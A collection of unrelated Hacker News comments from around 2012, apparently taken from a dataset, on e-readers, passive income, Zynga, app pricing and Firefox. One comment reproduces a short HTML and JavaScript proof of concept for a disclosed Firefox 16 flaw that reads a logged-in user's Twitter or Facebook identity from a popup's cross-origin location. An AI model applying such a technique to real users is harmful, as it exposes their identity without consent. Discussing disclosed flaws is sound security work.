skysight-inc/HackerNews huggingface dataset:
I should have mentioned that I also have an iPad. I basically use the Kindle as a small paperback replacement, and use the iPad for everything else.

I whip out the Kindle when I want to blow a Saturday breezing through the latest John Sandford cotton candy or awesome-seeming fan fiction, and I read most technical books and my Instapaper backlog on my iPad. So maybe my desired set of Kindle features is smaller than the average Kindle user, or maybe this discussion is proof that I have no idea what the average Kindle user wants.

- I've owned my (4th-gen, non-touch) Kindle for ~9 months, and it has held up just fine. Maybe if/when I break it, I'll wish for more robustness.

- I've never lent books; maybe I should!

- I haven't been without power for long enough to substantially discharge my Kindle's battery yet. I went to Belize for 9 days with it and had power the whole time, although I did more diving than reading ;-)

- Nope, I've never longed for random access. I've flipped through paperbacks before, but that's a feature I can easily live without.

- Nope, I definitely don't miss color. When I want to lay back and feel like I'm reading a little paperback from my neighborhood bookstore, I reach for the Kindle. When I read a textbook and inspect diagrams or want to look at pretty pictures in Flipboard, I grab the iPad.

I'm just weird with tablets though, so this data point may be worthless. I've considered buying a Nexus 7 (or its rumored successor) just to lay in bed and read code, and the official GitHub app for Android is the best tablet code-reading experience I've found.
Or it is about risk tolerance. I can see joining an overhyped overvalued yet detested company with eyes wide open, realizing that the risk is huuuge.
Fastest funding adult kickstarter-like project is online furry card game(NSFW)
Melbourne's about $2400 a month for a decent 2-bedroom in CBD.
Developers and Designers getting screwed over by the business monkeys and other scum... as usual. Further fuelling my hate for non-creative garbage.
It's been over a year and a half[0] since Josh and many of the other senior staff (Nilay Patel, Paul Miller, Joanna Stern, Chris Ziegler, Ross Miller) left Engadget. The Verge has been up for almost a year now, and I guarantee you that it's far better than Engadget ever was (and definitely better than it is now). For proof, look no further than their features[1] - there's some real hard-hitting journalism there. Check out these pieces for some examples:

http://www.theverge.com/2012/10/9/3408030/mark-pauline-spine...

http://www.theverge.com/2012/10/1/3424828/philip-k-dick-fest...

http://www.theverge.com/2012/10/5/3451206/thinkpad-turns-20-...

http://www.theverge.com/2012/10/4/3437364/mark-zuckerberg-fa...

0: http://www.engadget.com/2011/03/12/hello-i-must-be-going/

1: http://www.theverge.com/features
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You're arguing for eating our seed corn. Yesterday's maths drove today's technology. Today's maths will drive tomorrow's technology, unless you have your way.
"we will never ask for your personal information"

It's a nice first step, but then they break the security model by sending emails with a link to click on.

Every single service provider, bank, credit card, airline, or utility that sends me email, sends it with embedded links.

Customers have now been trained to click on links and give their passwords to login screens if they look halfway authentic.
Or... instead of people shooting each other (or threatening to), maybe China could just have more robust rights to sue.
Channeling Picard...

"We are what we are, and we're doing the best we can. It is not for you to set the standards by which we should be judged!"
You could argue that this stuff being harder is actually a good thing for the end user. The stuff that is still around is likely offering more value.

Coming from someone who has done a fair bit of CPA/ Adsense stuff in the past myself.
Well, then, I guess my competitors will take advantage of my cognitive disability, eat my lunch, and I'll learn my lesson, won't I?
I like the end "Naturally Nokia killed the device, fired everyone on the project, slapped three buttons on the front, and called it the Lumia 800, Nokia's first Windows Phone."

As a side note: I kinda do like it more w/o the software buttons...
Pretty much dead. Latest versions don't work on Linux. And its not really popular on Windows or Mac OS either.

If you want to make desktop apps in HTML+CSS+JS, try building an embedded WebKit app.
Any developer who can't upgrade their extension with that much notice and with that clear of a specification and I don't want to use their extension any more if it breaks.
Testing inapp billing without a physical device is still my biggest reason staying with the VirtualBox-based approach.

Installing Play Store app on emulator still requires some hacky workarounds.
I was on the front page last week. Needless to say my self hosted Wordpress crashed (Nginx, PHP, Wordpress, MySQL).

Here's what I did: http://www.srirangan.net/2012-10-leaving-php-mysql-wordpress...
I spend about 2 hours a week total, so right - it's not totally passive... But I'm at the point now where I could outsource first tier support and maybe get away with no weekly involvement.

But I want more growth, so I'm still actively working on promoting Planscope.
Awesome icon.

>>We haven't done any serious research or marketing for it.

It could be a personal taste question, but why not any marketing? With enough traction to be paying rent based solely off word-of-mouth and organic, you certainly seem to be creating value for people. There are easy/free/cheap ways to market apps, definitely at least some amount of money being left on the table.

Congrats either way, good stuff :)
Well put. It's good to hear you're enjoying your time, and tempering it with some pragmatism probably helps a lot. I'd rather be working for a well-known company in a bit of trouble than one in trouble for fostering a hostile work environment.
Ctrlp link is broken - use this: https://github.com/kien/ctrlp.vim
I think this [1] is the one lifeisstillgood meant.

[1] http://www.ted.com/talks/andrew_mcafee_are_droids_taking_our...
Do you mean extensions or plugins? Either way, both of those are resolved in new version of Firefox. Yes, it was annoying and it was partially why I stopped using it in the first place.

However, those are no longer true and FF is very competitive on speed now (well, I'm still waiting for Linux to shake off all the cruft from the 2 years that they simply ignored us), but it's quite fast in my Windows VM and Mac.

edit: I'm now the third person in this thread to tell you that the Firefox upgrade experience has become quite seamless. I promise you, I don't work for Mozilla and I'm betting the other folks don't either. I use Chrome 99% of the time, I have no reason to lie about Firefox being good.

edit2: What plugins do people legitimately use today? Ok, I whitelist Flash, but other than that? Ooops, turns out I also have NaCl and Chrome's PDF viewer allowed.
Wow. Way to take those bits out of context.

1) I said that I don't care whether someone's a woman (aesthetically a more pleasing option to me than a man) or a man, as long as they get the job done.

2) I said that whether someone got somewhere by charm or by working hard, I don't give a rats bottom. As long as they get the job done.

Basically, I'm making your case for you and you're still picking a fight?

Would you rather I said "I'd hire a woman because this article says they're better"?

Screw that. I'd hire whomever I think would get the job done. Period.

I hate discrimination. Either way.
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I experienced another security failure on Rogers' part: Just a few weeks ago I was able to reset the passcode on my Rogers cell phone account by supplying just my cell number and date of birth. This was through an automated system and no other information was requested. I wasn't even phoning from the cell phone; I was phoning from a landline that isn't associated with my Rogers' account in any way.
The old school mystics discovered some flaws in the rules as well, hence the transmutation of materials and levitation... However now they hot-patch and perform roll-backs... Which we see as deja-vous
It won't be any better than any of the previous regular-sized kindles, and the experience sucks on them.

PDFs have a fixed-size baked in, typically 8.5 x 11 or larger, and the Kindle screen is much smaller than that. There's no intelligible way to reflow a PDF, especially not one full of tables and figures like journals and textbooks are. It comes out either unreadably small or with unreadably broken formatting.

So basically it's worthless for that use-case. You want a Kindle DX or a 10 inch or larger tablet to fit PDF content comfortably.
EdX needs vision
I should hope not.
Real estate. (Ok, not 100% passive, but what is?) You can buy a duplex for not much more than a single family house in many US cities and, thanks to the low interest rates for an owner-occupied mortgage, rent out half and live for free.

Unlike tech, you will not have a giant windfall with real estate; but also unlike tech, it's very easy to price your product, find customers, and figure out what your cashflow will be for years to come.
I agree. Just be sure to file them here: http://blogs.atlassian.com/2012/09/hr-developer-jira-real-li....
You think roll call takes 5 minutes? If students have assigned seating, checking attendance takes <30 seconds.

When you choose an appropriate data structure, the efficient algorithm (distributed seat finding + visual glance) is simple to implement :-)
pixurwall.com - about 2-3k hits a day generating $20-30 in revenue. Cost 200 bucks to make and has been pretty consistent for over 8 months.
The only real problem with using the x86 accelerator version of the emulator is that many apps that are ARM based won't run, like Firefox Mobile.

The app store is surprisingly bare for popular apps when you are in x86 mode.
Ummm . . . they are currently losing money on operations, completely disregarding the write-down (which hasn't actually happened, yet). You are correct that companies often choose to make these write downs in quarters which are otherwise going to be bad. That is accounting trickery, but it is still a real loss that has happened regardless of when it is recognized. It is absurd to ignore it completely.
I'd say that if enough people change the the ratio of their donation so that "Make The Desktop More Amazing" gets $0 while "Better Support For Flavours Like Kubuntu, Xubuntu, Lubuntu" gets the most of the donation, this might help Canonical get the picture.
And the competition has quickly sued the government over Wind not being Canadian enough. http://www.theglobeandmail.com/technology/tech-news/court-sc...
See below/above.

I'm saying that I don't give a hoot about how. My point was that discriminating against man is just as stupid as discriminating against women.
It's already been fixed, use the new front page http://hckrnews.com
I have yet to see it mentioned that every time Samsung fucks with Apple they get massive advertisement.

Apple played right into their hands with that ridiculous court case that went on for months filling up the pages of just about every tech blog and news resource.

Seriously: I've had people who literally know from shit and do not give a shit share their opinion on tech patents with me.

Samsung is playing one ofthe smartest games I have ever seen in this space. Super, super sharp.
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When Apple got serious about software patents
The question remains unanswered whether a "more professional" video would not have turned out cheesy.

IMHO success proves Patrick right.
"text mining"

Hmmm. It's not so easy to do this with ebooks viewed in a graphical ebook reader. Note he didn't say "text search". He said mining.

Does this suggest noncommercial library books will offer research capabilities that commercial ebooks will not?

I want my ebooks in ASCII format. And that certainly goes for textbooks.

less(1) is my "ebook reader".
I support the idea of paying off debt. 401k (investment groups) however, is essentially giving your money to a gambler, and having him play your hand. Bet on yourself. Always.
This app is an AWESOME idea. I wonder if there's any other verticals that it could be adapted to. Maybe conferences? Funerals? Religious services?

How about fitness? I do fun-runs and I would KILL to have playlists for warm up, first 1km, middle run, last 500m, victory and warm down.
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If you're curious like I was, you can find the details of the vulnerability described by Gareth Heyes at http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-yo...

His proof-of-concept of the vulnerability can be found at http://www.businessinfo.co.uk/labs/firefox_knows_what_your_f... (Best fetched via curl... or Firefox 16.0 with an active Twitter session if you're daring.)

Or you can just see the source here:

<!doctype html>
<script>
function poc() {
var win = window.open('https://twitter.com/lists/',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">

edit: As others discovered, the regex stuff is an unnecessary red herring. Here's a simplified POC that uses Facebook to discover your vanity URL:

<!doctype html>
<script>
function poc() {
var win = window.open('https://facebook.com/profile.php',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello ' + win.location);
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">
If you debate semantics on Hacker News, you're gonna have a bad time.
You're practically giving that app away at $5. Wedding-related businesses are extremely high margin, simply because it's super easy to rip people off when they're really happy (same applies for funerals, except people are too sad to care in that case).

You could probably sell this for 5x as much and still make more money - the bride will want everything to be perfect for the wedding and will be willing to spend whatever it takes.
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Depends on your location. Do an airbnb search in your area to get an idea. I just made up a price for mine, and when I was getting tons of requests for it, raised the prices to slow them to a manageable rate. Living in SF doesn't hurt.
You only live once. No, seriously, you only live once. If you're not doing something today that you're passionate about, then quit. Take that scary plunge into the unknown. You will be so happy that you did. It won't be easy at first, but it well be better immediately

Who care about the moto "You Only Live Once"? A waste of time is a waste of time no matter if your projected lifespan is 50 years old or 30,000 years or forever.

If what you're doing is not benefiting you or anyone in any way, stop doing it.
Personally, I would use heart-wrenching for your documentary, rather than heartbreaking.
Relevant: http://www.youtube.com/watch?v=F2EJJ8BCfCg&hd=1
I think this is fantastic. For beginners and not so much beginners, it is a great way to start with a very complete system for developing and build on/customize it the way you like. You don't lose any customization power as others have said. I just renamed my .vimrc to .vimrc.local and that's all, everything is working plus I earned a lot of extra-plugins that I didn't even know about.

I love it, thanks to the autor/s
> " I don't understand why people on Reddit and HN love to demonize the employees of Zynga."

I apologize if I give offense while attempting to shed some light on why people have a problem with your company (and those who choose to work there). It's difficult to be honest about this question without coming across as mean, but I will try.

1) wholesale copying other companies' games (see http://www.scribd.com/doc/101954002/EA-v-Zynga-Complaint-Fin... for a legal complaint and http://news.ycombinator.com/item?id=4335287 for discussion.) From that thread: "they must realize that every day they go to work and rip off someone's original work." It's hard to respect someone who knowingly makes their living this way.

2) The game mechanics of Zynga games often hinge on what might be viewed as "bad" use of psychology -- manipulative, addictive, and in a sense abusive of the friends functionality of facebook. It's hard to respect someone who knowingly treats people so callously.

3) Common opinion is that the games themselves range from mildly awful to completely terrible, and are successful almost entirely due to the "bad" psychology above. It's easy to respect someone like notch, who got rich making an awesome game. It's hard to respect people like Pincus, who got rich by making games that are fundamentally lame.

Again, no offense meant to you or your friends. Maybe you're on a team that doesn't do any of the above bad stuff. But the parts of Zynga most of us are familiar with do all of that bad stuff. I hope this helps clarify why you might see so much hate directed that way.
> Ok, not 100% passive, but what is?

A stock index fund. :-) Usually much less yield for your money, though.
Content that loads dynamically won't force you to use Multivariate Testing. In fact, most commercial services implement both A/B and Multivariate tests using client side JS.

Also, you can A/B test dynamically loading content so I think you just need to find out how to do it using your chosen software.
> The question remains unanswered whether a "more professional" video would not have turned out cheesy.

I don't see how it would have. The whole point of making it more professional would have been to make it less cheesy. If you fail to do that, then you've failed to make it "more professional".

> IMHO success proves Patrick right.

Patrick's success has primarily been in the written word. This is his first foray into selling video-based content, and I think he has quite a bit of work to do on his presentation. Like most nerds, he's quite awkward on camera, but it's nothing that can't be fixed with some elbow grease.

Of course people will cite his Business of Software talk as a counterexample, but that was highly rehearsed (something he mentioned on HN) and consequently felt polished (yet still a little awkward), but the video on training.kalzumeus.com doesn't feel that way. Moreover, having to heavily rehearse every presentation you give does not scale very well when you're creating a series of them to sell online.

Some things that could've been easily improved in the intro video include wearing a proper suit (or at least a collared shirt) instead of a red tracksuit, properly styling his hair, wearing contacts instead of glasses (due to the reflections on them), not wearing an enormous geeky headset, removing the audio "booms" that frequently occur in the video, not being in a 和室 (Japanese-style room) and dropping the super-tacky gimmick with the $100 bill.
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Men can be charmers too. Sales being the obvious example.
If you want a passive version of real-estate investing, just buy a REIT fund.

https://en.wikipedia.org/wiki/REIT
If you're like most people, the least likely claim, by far, is I'll learn my lesson.

Most of us manage to come up with theories to explain our failures that direct blame away from us, and for any unsuccessful startup there are so many obvious candidate explanations for failure that useful self-examination would take a miracle.
I suppose this is business common sense, but, man, it sounds awful from a moral perspective when you put it this way... Really, praying on vulnerable. Just my very subjective opinion.
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Are you suggesting that ebooks should be formatted in groff and devoid of page-breaks?
I launched http://www.improvely.com/ in August, and it's already eclipsed my other sites in recurring revenue.
People are willing to pay a lot for wedding-related /services/. A lot of people that want to save money on a wedding would buy this because they DON'T want to pay for a wedding planner who will ensure that the music is 100% perfect.

If you price this at $25, you'll lose that group of people that were looking to save money, (you could argue that at $25 it's still cheaper than a wedding planner).

Not every bride is foolish enough to think that everything will be perfect. The more money you have the more 'perfect' it can be. Those on a budget will opt for a $5 DJ that can get them as close to perfect as their money will allow.
EDT not EST
Holy crap yes. My wife works in the wedding industry, and being able to manage the music for your entire wedding is worth way more than $5.

A DJ will cost something like 50 - 100x that.
Hi Patrick. Great stuff!

We're currently implementing invoice payments with the new Stripe button over at Paydirt (https://paydirtapp.com).

One little issue: in Chromium 20.0.1132.47, the button renders with a line break and overflows the iframe like this: http://imgur.com/88st1

The same page renders the button fine in Firefox and other Chrome browsers I checked. Adding `white-space: nowrap;` via the Chrome inspector fixes the problem.

I'm tristan[ at ]paydirtapp.com if you need it replicated.

Cheers.
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> they played the startup lottery hoping to get rich, and lost.

What?!? Folks: ZNGA still has a market cap of almost $2 billion. Your average startup engineer is lucky to see any decent and timely exit event. So even at these "low" prices, from where I sit they are still looking better than many of their peers.
Like Apple, HTC begins reducing dependence on Samsung for smartphone parts
It's a bit late notice now, but check out Meetup.com. There are tons of things going on, usually hosted by a company at their offices. The Ruby group is particularly active and has some stuff for tomorrow: http://www.sfruby.info/
Pretty cool idea, I am looking forward to seeing the final steel version if this gets funded. Until then I will stick with a futon.
A site that I've recently stumbled across and been reading through voraciously is smartpassiveincome.com. It has some pretty solid tips and in 3 episodes of his free podcast, he goes over 8 potential types of "passive" income business models.
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XFCE4 on a netbook.. 2gb RAM, Atom...

Works awesome and really is my run around, using it alot. xfce is a great DE
Firefox releases go through 18 weeks of testing before release, so everyone on Beta, Aurora or Nightly has been vulnerable for a long time - the exploit simply wasn't known yet.
Hence, often they have two jobs. The lower economic class in this country is worked to the bone and just scrapes by.

The Zynga employee who is going to make $0 (or negative if they exercised unvested) options is still much better off: a) they have a job and b) they are still likely very hireable if their job disappears.

The folks at Facebook should probably be a bit more worried - Zynga and Facebook have been close and without the symbiotic relationship, Facebook's appeal is much diminished - lots of my social gaming dev friends are now working on mobile freemium games, for example.
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